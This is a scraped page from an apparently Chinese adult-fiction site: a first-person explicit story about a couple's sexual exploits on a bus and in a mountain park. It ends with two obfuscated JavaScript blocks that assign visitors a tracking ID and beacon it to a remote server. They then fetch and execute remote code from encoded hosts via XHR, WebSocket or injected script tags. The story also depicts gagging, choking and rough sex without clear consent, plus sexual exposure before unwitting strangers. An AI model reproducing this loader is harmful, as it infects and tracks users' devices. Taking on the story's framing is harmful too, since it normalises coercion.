图片载入中

盛夏的山野淫游

特大字】 【大字】 【中字】 【小字

我要讲的是一段发生在几年前的某个夏天的记忆。

“我特别喜欢夏天。”张瑞说道,“我还是蛮喜欢喜欢这种灼人的光线和热烘烘的空气,虽然睁不开眼睛又流一身汗。有点受虐吧,呵呵。”

“呵,我就是觉得挺放松的啦。出来在大自然里玩玩。”我搂着张瑞的腰,坐在一辆小巴车的最后两排座位。话说这时我和张瑞在一起几个月了。其实泡女人并不容易,我上过的女人很少,而张瑞可以说是我发掘得最深的一个。不仅是身体,还有性格和内心。

在一起的时间长了,自然互相会有一些依赖。这种依赖很多人会把它当作爱。其实不然。就算在一起十年八年,也不见得有真正的爱产生。爱是一种灵魂的惺惺相惜。而这些是如何产生的呢,在我个人看来是需要一些机缘让两个人的灵魂去碰撞。可能是通过一些肉体的方式,甚至是无意识的方式。一起做些疯狂的事,一起坠入不清醒的状态等等。所以爱往往是那些逍遥不羁者得到,可他们往往又根本不屑于拥有。

自从上次得知学校里的大姐大倪惠和张瑞搞过,而倪惠又告诉我张瑞有暴露欲,我一直酝酿着一点什么。所以,趁着暑假这个机会我约了张瑞一起去郊县的玉带山玩玩。我期待着张瑞能解开所有灵魂的桎梏,更期待我能成为她生命中那把钥匙。

我们早上七点半来到客运站坐上了直达的小巴。因为我去过几次,经验丰富,所以提前买票上了车,占到了最后一排。要是来得晚了,只能在过道上坐小板凳了。车子很小很破旧,永远会超载,而且一般都不开空调。我和张瑞一上来就浑身是汗,但是又因为要占位子只能这么坐着。我递给张瑞一瓶水,她朝我笑笑。十分明媚,阳光和她。

车上人渐渐多起来,司机和售票员在底下拉客。车上一般都是学生和一对对年轻的情侣和小夫妻。一般年纪大点的或者有钱点的都坐空调大巴或者干脆自己开车去了,而这小巴一张学生票才二十块钱。过了一会,车上几乎坐满了。我们前面都是些情侣,而坐在我们这最后一排另外一边的是三个男学生,戴着眼镜斯斯文文的。我一看心里挺开心,想一路上我和张瑞来点荤的也方便了。一是没女生,怕女生在旁边看到不好意思;二是都是戴眼镜的学生,完全不必担心什么。 八点过十分,车终于开了。在市区里还算没怎么堵车。这时,我发现张瑞的T恤恨不得都湿透了。她穿的一件白色棉T恤,里面则穿的一件蓝色的文胸,是我送的。下身我特意让她穿了一件红色的运动短裤。一般女生很少穿这种裤子的。这种是很柔软的棉质的,不是很短的那种,长度快到膝盖,因为是运动的。但是松松框框的。其实女生穿起来挺好看的。

当然,我不准她穿内裤。她很听话,我可以看见她坐下后两腿之间若隐若现的小馒头。车开起来后,窗户里吹来一阵阵风,还比较凉快的。张瑞坐在靠窗里面的位子,头发被风吹的飘了起来,露出她满是汗珠的额头和耳鬓。我把她的腰楼紧,她便靠在我身上,转过头来亲了我一下。

就在她亲我的一瞬间,我的左手迅速伸进了她的裤子。她一定是没料到的,最多也以为我一开始只会摸摸她的胸什么的,而我却直捣黄龙,惊得她小声叫了出来。我当然是更猛烈地吻她,侧过头去将舌头伸入她的嘴巴里。

在这种突然袭击的刺激加上舌吻无与伦比的攻击力,张瑞马上陷入失守的状态,身子扭了一下以表达欲望。我也没太过火,爽了一下之后把手拿出来,再吻了一下她的额头。她看着坏笑的我,侧过头去好像什么事都没发生一样。我很喜欢张瑞这一点。她不是那种只有骚劲的女孩。她很淡定但不是那种矜持,她不会因为一点点挑逗就低声下气骚态尽显。

最懂得享受性的快感的人,像她这样,常常表现得宠辱不惊。她在潜意识里洞悉自己的身体,对于性爱有很好的领悟力。当然,我也跟张瑞说过,这趟我想来个放纵之旅,希望她能放开点。我说我知道她喜欢暴露的。所以我相信张瑞其实也是带着期待而来的。

不久,我们就到了出城的环线上。出城的车很多,我们前进的比较缓慢,车上也开始热起来了。我们旁边几个小伙子都挺青涩似的,我们那一吻后都不敢直接望过来了,此时正在热火朝天地谈学校谈考试。张瑞的汗直往外冒,一些头发都湿成一缕一缕的。汗珠滴到她的裤子上湿的连成一片。于是,我从塑料袋里拿出两罐黑啤,递给她一罐。几口啤酒下肚,真是太爽了。一种小麦成熟的味道和着夏天的风,这才是人生嘛!

张瑞又大口喝了几口啤酒,我们聊了会天,主要是关于我们喜欢的音乐啊什么的。随着小巴出了城,我们带的四罐啤酒都喝完了,只好开始喝矿泉水,囧。我们行驶在公路上,逐渐进入郊区,空气要比市中心好些了。我们聊着聊着没什么话题了,我就开始想心思。其实我也准备了道具,可是不想这么早就用。 然而路上实在无聊,我便先从包里拿出一个遥控跳蛋。我买的是稍微贵一点的。紫色的外壳是磨砂的,有一根挂绳,但是被我剪掉了。遥控器带无级调速。最重要的是跳蛋足够大。那种小跳蛋,根本满足不了女人,放肛门里都不怎么样,因为这种跳蛋又没阴茎粗,是个女人都会嫌小。

跳蛋我事先已经用酒精擦过了。我把跳蛋从密封袋里拿出来,直接放到了张瑞手上,对她说让她自己放进去。张瑞拿着这个大号的跳蛋,在手里把玩了一会,嘟起嘴对我说:“怎么,这么急?”我笑笑。她又说道:“我看你是闲的慌吧。”

我还是没说什么,只是握住她的手放到裤子上,又用另一只手捋起她左边的裤腿。她调整了一下姿势,将跳蛋放进了裤子。我知道,没有用润滑剂也不好进去,于是我舔了舔指头,然后从她裤腰将手伸进去在她的逼上摩擦。

当然,我做这些都是侧过身去用身体挡住张瑞,这样旁边的学生就不能直接看到我们在干嘛。不过他们一定想象的到些什么吧。但这不要紧,让他们尽情去想吧,呵呵。没想到的是,我和张瑞的姿势变得这样比较奇怪后,那几个学生估计是有点好奇,不知不觉就停止了谈话。这突然一安静,张瑞意识到了些什么,身体也有了些反应,肌肉有些紧张。我猜她一定感到很刺激吧,有一种轻微暴露的耻感。这种羞耻感很快转化为快感,她的小穴已经湿了。

我一秒钟也不浪费,立马把大号跳蛋塞进了张瑞的逼里,一直把塞到深处。然后,我们就换回正常的坐姿。我看见她的脸有一些微红,不知是酒意还是什么。我不急不慢地从包里掏出了遥控器。我故意把遥控器随意地拿在手里,还扭过头去看了一眼那三个学生,他们则马上看向另一边去。

我在心里暗笑着,一边扭开了开关。一开始我选择比较小的档,张瑞表面上没有什么反应,不过她的表情显得有些僵硬。我知道她正在忍受里面痒痒的折磨。过了几分钟,我估计她已经逐渐适应,身体正是放松的时候,我悄悄把按钮猛地开大了几秒钟。如我所料,张瑞的整个屁股都一抖,双腿下意识地夹紧。因为突然受了一个刺激,阴道肯定会做出本能地反应收缩,而结果就是跳蛋被往外挤。

这一招果然十分有效,我发现张瑞的表情有点受不了的样子,一定是跳蛋被挤到阴道口很浅的地方,刺激到她敏感的阴道口。接着,我看见她胯下小幅地颤抖了一阵,然后又突然地一抖。这一下可好,随着这真颤抖,跳蛋被直接从她的小逼里弹了出来。她在跳蛋出来的这一瞬间像触电了一般,紧紧闭上了双眼,手紧紧抓着椅垫,浑身都绷得比较紧。虽然离高潮还远得很,但是看得出来已经勾起了张瑞的淫欲。

“啪——啪——彭!”就在这时,几下清脆的响声传来。只见这紫色的跳蛋从张瑞的裤筒落下,在车厢地面上弹了两下滚向了我们右边那边去了。我一时没想到会这样,也忘了关遥控器,那跳蛋便就在那几个学生的脚下震动着。

呵呵,这下可好了,张瑞的脸又变红了些,而那几个学生的脸刷刷全都红了。而且他们显得十分尴尬,跳蛋在他们脚下,而我们互相对视着,捡也不好不捡也不好。这时,我想起来便把遥控器关了,然后笑着对一个学生说:“不好意思啊哥们,可不可以稍微让一下。”我也没要他帮忙,自己弯腰俯下身去,一伸手将跳蛋捡到了。好了,这一阵也算化解完毕。

我把矿泉水递给张瑞让她喝点,搂着她的肩膀,在她耳旁说道:“怎么样,爽不?还想要吗?”张瑞这次没说什么,岔开话题,让我看外面的风景——我们已经在一条山丘上的山路上行驶,四处都是葱郁的绿树,偶尔见到山间平地上的几片田。我们还看到了几头牛。玉带山虽然不远,说是在郊县,其实也并不是一出城就到的。不过一路上青山绿水,也算是一种陶冶了吧。

不过就算张瑞没说什么,我也大概知道她心里怎么想的。我明白她对于这一出荤的还是挺满意的。适当的暴露,够刺激,又毫不过分,非常安全。当然,这些还是要靠运气,要是没这么好的环境,我也不会这么干了。

车越往乡下走,越感觉到凉爽这是真的。不过毕竟是在盛夏,我们还是满身大汗。小巴车的座位也没有凉席,相反是厚厚的海绵靠椅外面套着那种粗布有图案的布套。布套很脏,有各种各样的污痕和一些灰,有的地方还有破洞和烟头烫出的痕迹。

然而,就在这略显肮脏的座位上,张瑞的身躯如一件艺术品般呈现着。我非常享受这种感觉。怎么说呢,这是一种尽情释放身体的方式,它来自于童年的无意识欲望,也是性欲的最初形式。举个例子,就像小孩子喜欢捡地上的脏东西、在地上打滚甚至弄得浑身是泥巴一样。张瑞的汗在坐椅上侵成一块块湿的,散发一股体香和霉味的混合味道。

窗外一座座山丘掠过,我们行驶在弯道时,整个晴朗的天空在我们头顶旋转着。远处山体上有时会有突兀的岩石,展示着自然的力量。而张瑞的女体则是这山川大地间最好的珍宝,对于我来说。

沿着盘山公路而行,我们终于到了玉带山山门。车上的人们一涌而下。我和张瑞走在最后,我的手则一直捏着张瑞的屁股直到下车。玉带山虽然没什么名气,但是景区里面非常大,而且各种风景应有尽有。一眼望去整座山峦显得非常大气。

张瑞拍拍我的肩膀,说:“水喝多了,我要去厕所嘛。”的确,一路上我们喝了不少矿泉水。我们来到游客中心附近的厕所,我把手中的小包递给张瑞,说“你自己看着办。”张瑞坏笑一阵,接过包就进了女厕。

我趁着这会去买门票。等我排了半天队回来,张瑞已经回来了,在一个凉亭等我。她扎起了一个马尾辫,耳朵露了出来,她说这样凉快些。于是我过去扶住她的肩膀,在她耳后哈了一口气,然后开始咬她的耳垂,接着从脸颊吻到下颚和颈子,她有点受不了地呻吟了一声,而我的手则悄悄伸进她的裤腿往里面摸,她里面果然穿上了我带来的黑色皮短裤。

她一把搂住我的肩膀,笑着说:“老公,人家的两个洞都被跳蛋塞满了,那你的东西往哪放啊,恩?”我摸着她的腰背说:“先别急,待会先等你知道跳蛋的厉害再说。”其实我跟张瑞在一起的时候是经常玩跳蛋的。我也总是把小跳蛋塞到她的后庭中,她特别喜欢这个。这一次我带了三个无线跳蛋和一个假阳具。 上山的路很多,我以前来玩几乎都走过,所以我挑了一条人最少的。之所以人最少,因为这条路先要往下面山谷走,然后又要曲折向上,一下一上的弯得又远,而且路上没什么特别的景点,人们都不愿意过来。

有一次我从这边走一路上也就碰到两群人。不过我是非常喜欢这条幽深的小路的。整条路都被参天的大树遮蔽着,时而有山泉从石板路穿过,树上栖息着很多鸟,叫个不停。并没有很大的太阳,地上全是斑驳的树影。在山谷间湿气很大,地面是湿滑的,空气里都是薄薄的白雾。

我们开始在这大自然间前行。张瑞穿着一双网眼的跑步鞋。脚上刚刚换上了我带来的白色棉袜,十分亮眼。我们走了一阵都没碰上什么人,我便把手从后面伸进了张瑞的T恤,抚摸着她濡湿而又被山间的风吹的凉爽的后背。

张瑞的身材是比较结实的的那种,但并不是胖。她背上的的肉非常紧致,皮肤不是那种特别细腻的,但是很有触感,因而整体散发着成熟女人的力量感。我唿吸着潮湿的空气,耳边回响着鸟叫虫鸣,右手推着张瑞的后背,一起在小路上行走着,刹那间忘记了所有的烦恼。

张瑞的胸也是一样,不大不小但是非常紧致,拥有饱满的外形。我说的紧致,夸张地说也就是说像天然穿着一件紧身衣似的,走在路上她的胸部只是微微抖动,一点也不松垮。

我问张瑞:“你里面放着跳蛋,走路好不好走啊?”

“当然不好走了,混蛋!”呵呵,我一边笑着一边拿出遥控器,把她阴道和后庭的跳蛋都打开到最小的一档。她的腿夹紧了一下,步伐开始慢起来。“讨厌,你还让不让人家走啦!”

我说:“那看你怎么选了?”

“恩?”

我又笑着说:“你不想走的话我背你一段怎么样?”张瑞想了想说:“好啊,既然你愿意我就让你背,看不累死你!我不说下来你可别放我下来!”于是,我把张瑞背起来。走了两步,我暗地里把跳蛋打开到比较大,张瑞小声叫了一声,“啊——喂,你干嘛——啊!”

“哈哈,你个小贪心鬼,让我背也是要有点表示的嘛!”张瑞的双手箍紧了我的脖子,下巴用力压在我的肩膀,不自觉地发出一阵阵呻吟。由于我背着她,她的双腿张开扣在我的腰上。

这个姿势她的小穴和肛门肯定特别刺激,想夹紧腿却不行。我的后背能感受到她的趾骨顶着我,她浑身的肌肉都一阵阵紧张着。我有点后悔没有让她穿裙子出来,那样的话她被我背着的时候里面的皮短裤就可以露出来了,如果后面有人看到,张瑞肯定会更刺激的。

就这样我们走了一段,我实在是背不动了,而张瑞已经浑身疲软了,估计只要来一发大的马上就能高潮了。我把她放下,一起来到路边的一个小木屋前面休息。我以前没注意过,这次仔细一看才知道这小木屋是干嘛的。小木屋左边是旅游纪念品商铺,但由于这条路人迹罕至,所以里面是空的,外面的门窗都用木板当着,也正是如此我以前来的时候都没注意到,还以为是变压器房或者垃圾房什么的。

而小木屋的右边竟然还有两间隔间厕所,分别是男女厕所。不过看样子修好之后就几乎没人用过。到处是蜘蛛网,木头也腐朽了。我踹了一脚,把门弄开了,没想到里面的地板都烂掉了,我差点没摔下去。这小木屋修在路旁,底下是山坡,地基就是四周几根柱子,便池下面就直接排到山坡,而地板下面就直接是山坡了。

不知为什么,我心里突然产生一股冲动:就在这破地方把张瑞好好干一把。有时候我的心里就是有这样一种冲动,破旧肮脏的座椅也好,残破潮湿的小木屋也好,阴暗狭小的厕所也好,这种越是肮脏的地方,我就越想让张瑞崇高的肉体,洁白的肌肤在这里受辱。

这次我打算来个暴力一点的。我在心里酝酿了会,便对张瑞说,你要不要上厕所?张瑞说:“恩,是有点想。反正没人,我就去树丛里吧!”

“别啊,这不有现成的厕所吗?”

但是张瑞嫌里面太破了,她又不在乎随地大小便,所以干脆决定去树林里嘘嘘。我可不准,要求她就去木屋里的厕所,她只好去了。我在外面听见她开始排尿之后,便轻轻走到厕所门前。等她一尿完,我便猛地推开门冲了进去。其实这个厕所里面非常狭窄,也就够站两个人,比火车上的厕所还要小。

我一进去吓得张瑞一声惊唿,我发现张瑞把皮短裤脱了,两个跳蛋正拿在手里。我一把搂起她的T恤,露出她的胸罩,然后把她摁到潮湿的木墙上,一脚把她的红运动裤子踩到她的脚踝处。由于这剧烈的动作,整个木屋都震了几下,地板更是遥遥晃晃。

然后,我从小包里掏出她一开始换下的袜子,塞到她的嘴里,然后一只手掐住她的脖子,一只手脱下我的裤子,将早已勃起的鸡巴朝着她的黑森林插去。她的尿道口附近还滴着一些尿液,不过阴道并没有出什么水,但我还是猛地插了进去,而且一直把整个鸡巴都插入了。

她的屁股被我顶到木板上,沾上些许黑色的潮湿的木屑。我的鸡巴进去后,两人开始站着交合。我双手伸进奶罩,揉搓着她的乳房,我低下头去疯狂地吻着她的下颈,她的头颅被我顶得扬得高高的,一双手紧紧扣住我的后腰,指甲抓的我生疼。不过越疼我越爽,超大幅度地操着她的逼。

张瑞也开始放肆地叫起来。我们都不知道外面有没有人路过,不过我们早就不去想这些了,在这么刺激的环境下,我只想到一个目的就是要让张瑞被我操的服服帖帖的。我开始保持一个不快不慢的频率,并在中途让张瑞翻过身来换成后入式。张瑞弯下腰把屁股翘对着我。由于狭窄的空间,她双臂撑着这边的木墙,我的脚后跟就已经顶到另一边的墙角。

在这样的窄小空间里,每一下进入似乎都十分得力。我渐进感到她的逼里润滑了起来,便加快频率抽插。“啊——爽啊——爽啊——再来啊——啊,快一点,再来啊!”她嘴里含着袜子,说的我也听不太清。张瑞也开始用屁股迎合着我,我已经顶到了她的花心。

就这样过了几分钟,张瑞突然间腰像软了一样,小穴也轻轻地夹了几下,而我的鸡巴能感觉到一股淫水流淌出来。“啊——我要了!”她说了一声之后勉强直起身来,双手从后面过来抓住我的腰,整个身体靠在我身上,闭上了眼睛享受着这一种舒爽。我心里特别有成就感。并不是每次都能先让女人达到比较完美的高潮的。

我从她嘴里拿出袜子,继续着抽插,也有了想射的感觉。但是我没有带套,她又在危险期,所以趁着还忍得住我抽出了鸡巴。张瑞识趣地弯下腰,开始为我口交。让她舔了几下,我说:“你以为我会这么便宜你个骚逼?”我拿好包和衣物,拉着张瑞来到小木屋左边,轻轻一推腐烂的门就吱吱地开了。

这个商亭里面空间比厕所要大的多,而且里面还有一张破桌子和一把大椅子。我脱下外裤铺在椅子上,指着椅子说:“跪上去!”张瑞满眼都是迷离的情欲,面朝着椅背跪在椅子上。然后我用她的上衣包住她的头,主要是把眼睛遮住让她看不见,顺便包一下她的口鼻,让她有轻微的窒息感,当然一件T恤也不会让她真的窒息。然后我用我的上衣把她的双手连同手臂一起牢牢绑在椅背上,这样一来她上身几乎都动不了了。

好了,一切都准备好了,我从包里拿出一瓶润滑液,在我的鸡巴和她的后庭抹了一些,然后将鸡巴放到她的后庭口。我和张瑞肛交次数并不多,所以还是很有乐趣的。我先把龟头慢慢地往里移动,她的肛门很紧,我弄了半天才进去一点。不过一旦龟头进去了大半就好搞了。

她在润滑液的作用下并没感到什么难受,相反还扭动着屁股迎合我。我接着往里面送入我的鸡巴。这种感觉很棒,打个比方,就像推肌肉注射的针管一样,慢慢往里,阻力很大,包的很紧,但是又有一种负压在引导你进入。进去之后,别提有多舒服,我开始缓慢地抽动。不一会,就能比较顺畅地抽插她的肛门了。我握着她的屁股,鸡巴一下下往里插,只觉得她已经完全被我控制了。

“额啊!额!啊!啊!啊啊!”她的叫声跟插逼时完全不同。这是一种更加具有羞耻感的性快感。插着插着,我感到我马上就要射了,整根鸡巴涨得不行。在一阵高频率抽插后,张瑞也大叫几声,肛门开始条件反射收缩,夹的我的鸡巴非常疼,但是我仿佛要和她同归于尽似的,猛地把鸡巴往里一顶,在一种极端的挤压中,我的精液喷射进她的后庭。我接连射了几下,感觉量很多。我的鸡巴停留在她的肛门里,享受着紧紧夹住的爽快。

过了几分钟,我解开她的衣服,我们两个都已精疲力竭,顾不得地面有多脏,揣着粗气依偎着躺在地板上。我看见屋里的浮灰射过一道光线,光线中无数微粒在飞舞。有些刺眼,但浑身的每个感官都如此的真实。慢慢地,我感到眼皮有些睁不开了,只是手臂还紧紧搂着身边这个女人。

后来不知过了多久,我终于醒过来,感到身上一阵凉意。我怕她着凉,就把张瑞也叫醒了。我们整理好,拿好东西继续往前走。我看看时间已经中午十二点多了。我估计她是有点饿了,何况我们都消耗了这么多的体力。于是这一路上我们抓紧时间往前赶,我又背了她一段路,走了半个多小时到了一个商亭。这里有三三两两的游人在休息。我赶快去买了点吃的喝的。

我买了两份泡面,几根烤肠,玉米,海带串和一小瓶白酒外加两瓶饮料,坐在旁边的回廊里开始吃起来。张瑞浑身的皮肤都显得非常红润,非常有血色,身上散发着迷人的味道。我们把白酒兑着汽水,这样比较容易入口,毕竟天气太热了,这里又没有啤酒卖。等我们喝完了大半瓶,张瑞已经有点晕了,估计是她浑身血液循环经过刚才一炮本来就加快了,所以特别容易上头。于是我让她别喝了,自己把剩下的白酒慢慢都喝了。

酒足饭饱,休息了会我们继续往前走,刚开始还好,过了一会我感觉也很有点晕了。估计是烈日下有点脱水,酒劲一下就上来了,意识感觉有点不清醒。反正后来就是迷迷煳煳往前走,很多事都记不太清楚了。就这样,大概下午四点钟我觉得恢复了意识,发现自己躺在一片草地上,赤裸着上身。张瑞则在我面前睁着一双水汪汪的大眼睛望着我。她的T恤好像都湿透了,而且我发现她里面没穿胸罩。

等我站起来,发现我们是在一条山间小路的尽头一片平地上,这里可以眺望到很远处的群山,是个风景绝佳的地点。不过上来的路貌似很不好走,我也注意到我们身上都是一些树叶和尘土。我问张瑞我做了什么,张瑞一只手抚着我的脸,一只手抚摸着我还略微充血的阴茎,说道:“真爽!”

我还是不知道怎么回事。张瑞又说:“傻瓜,刚才你在路上当着别人的面就想扒我的衣服,还对着别人大喊大叫说你爱我,没把别人吓到!然后你就带我来这里了,也不知道你怎么找到的路。然后……”“然后怎么?”“然后你干的我爽死了嘛。不过你都不记得了吧,混蛋,大混蛋!”

后来我一直感到很累,脚都迈不开步。不过回去的时候,张瑞一路上依偎着我,手搭在我赤裸的上身,眼神里有一种我没见过的满足。我们又坐上了小巴,买了点零食带着。行驶在回程的公路上时已经是傍晚了。

车里有点热烘烘的,夕阳的深红色的光照在我们的脸上、身上。我们的皮肤有些地方都被晒伤了,但是感觉非常的舒爽。绿色的山林也染上一层金色。微热的晚风吹拂着我们还有些汗珠的脸。我和张瑞靠在一起,纵情地舒展身体,放松地靠在椅背上。此时不太适合任何语言,我想在我心里这种感觉属于一首歌吧。 如今回忆这段往事,在今年分外寒冷的春节,心里无论如何也挡不住那种想念。冰冷的空气和冰冷的身体,而此刻我的脑海里满是盛夏。


上一篇:校园里的迷奸案

下一篇:偷情的人妻


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};